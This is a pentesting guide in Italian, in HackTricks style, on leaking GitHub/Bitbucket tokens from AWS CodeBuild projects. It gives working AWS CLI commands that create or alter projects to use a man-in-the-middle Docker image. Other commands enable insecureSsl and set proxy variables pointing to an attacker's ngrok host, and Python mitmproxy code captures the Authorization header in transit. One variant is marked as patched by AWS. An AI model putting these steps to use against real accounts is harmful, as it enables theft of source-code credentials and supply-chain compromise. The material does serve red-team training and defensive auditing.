# AWS Codebuild - Token Leakage {{#include ../../../../banners/hacktricks-training.md}} ## Recuperare i Token Configurati di Github/Bitbucket Prima di tutto, controlla se ci sono credenziali di origine configurate che potresti leak: ```bash aws codebuild list-source-credentials ``` ### Via Docker Image Se scopri che l'autenticazione, ad esempio, a Github è impostata nell'account, puoi **esfiltrare** quell'**accesso** (**token GH o token OAuth**) facendo in modo che Codebuild **utilizzi un'immagine docker specifica** per eseguire la build del progetto. A questo scopo potresti **creare un nuovo progetto Codebuild** o modificare l'**ambiente** di uno esistente per impostare l'**immagine Docker**. L'immagine Docker che potresti utilizzare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è un'immagine Docker molto basilare che imposterà le **variabili d'ambiente `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**. 1. **Crea e carica la tua immagine Docker MitM** - Segui le istruzioni del repo per impostare il tuo indirizzo IP proxy e impostare il tuo certificato SSL e **costruire l'immagine docker**. - **NON IMPOSTARE `http_proxy`** per non intercettare le richieste all'endpoint dei metadati. - Potresti usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host. - Una volta che hai costruito l'immagine Docker, **caricala in un repo pubblico** (Dockerhub, ECR...) 2. **Imposta l'ambiente** - Crea un **nuovo progetto Codebuild** o **modifica** l'ambiente di uno esistente. - Imposta il progetto per utilizzare l'**immagine Docker precedentemente generata**.
3. **Imposta il proxy MitM nel tuo host** - Come indicato nel **repo di Github**, potresti usare qualcosa come: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > La **versione di mitmproxy utilizzata era la 9.0.1**, è stato segnalato che con la versione 10 questo potrebbe non funzionare. 4. **Esegui la build e cattura le credenziali** - Puoi vedere il token nell'intestazione **Authorization**:
Questo potrebbe essere fatto anche dalla aws cli con qualcosa come ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { "name": "my-demo-project", "source": { "type": "GITHUB", "location": "https://github.com/uname/repo", "buildspec": "buildspec.yml" }, "artifacts": { "type": "NO_ARTIFACTS" }, "environment": { "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM "image": "docker.io/carlospolop/docker-mitm:v12", "computeType": "BUILD_GENERAL1_SMALL", "imagePullCredentialsType": "CODEBUILD" } } ## Json # Start the build aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nel web e puoi cambiarla solo dall'API.\ Abilitando questo, permette a Codebuild di connettersi al repository **senza controllare il certificato** offerto dalla piattaforma. - Prima devi enumerare la configurazione attuale con qualcosa come: ```bash aws codebuild batch-get-projects --name ``` - Quindi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito è riportato un esempio del mio aggiornamento di un progetto, nota il **`insecureSsl=True`** alla fine (questo è l'unica cosa che devi cambiare dalla configurazione raccolta). - Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come: ```bash aws codebuild update-project --name \ --source '{ "type": "GITHUB", "location": "https://github.com/carlospolop/404checker", "gitCloneDepth": 1, "gitSubmodulesConfig": { "fetchSubmodules": false }, "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", "auth": { "type": "CODECONNECTIONS", "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" }, "reportBuildStatus": false, "insecureSsl": true }' \ --environment '{ "type": "LINUX_CONTAINER", "image": "aws/codebuild/standard:5.0", "computeType": "BUILD_GENERAL1_SMALL", "environmentVariables": [ { "name": "http_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" }, { "name": "https_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" } ] }' ``` - Quindi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="127.0.0.1", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Infine, clicca su **Build the project**, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
### ~~Via protocollo HTTP~~ > [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 febbraio 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)** Un attaccante con **permessi elevati su un CodeBuild potrebbe rivelare il token Github/Bitbucket** configurato o se i permessi sono stati configurati tramite OAuth, il **token OAuth temporaneo utilizzato per accedere al codice**. - Un attaccante potrebbe aggiungere le variabili ambientali **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (ad esempio `http://5.tcp.eu.ngrok.io:14972`).
- Poi, cambiare l'URL del repository github per utilizzare HTTP invece di HTTPS, ad esempio: `http://github.com/carlospolop-forks/TestActions` - Poi, eseguire l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="0.0.0.0", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Successivamente, fai clic su **Build the project** o avvia la build dalla riga di comando: ```sh aws codebuild start-build --project-name ``` - Infine, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
> [!WARNING] > Ora un attaccante sarà in grado di utilizzare il token dalla sua macchina, elencare tutti i privilegi che ha e (ab)usare più facilmente rispetto all'utilizzo diretto del servizio CodeBuild. {{#include ../../../../banners/hacktricks-training.md}}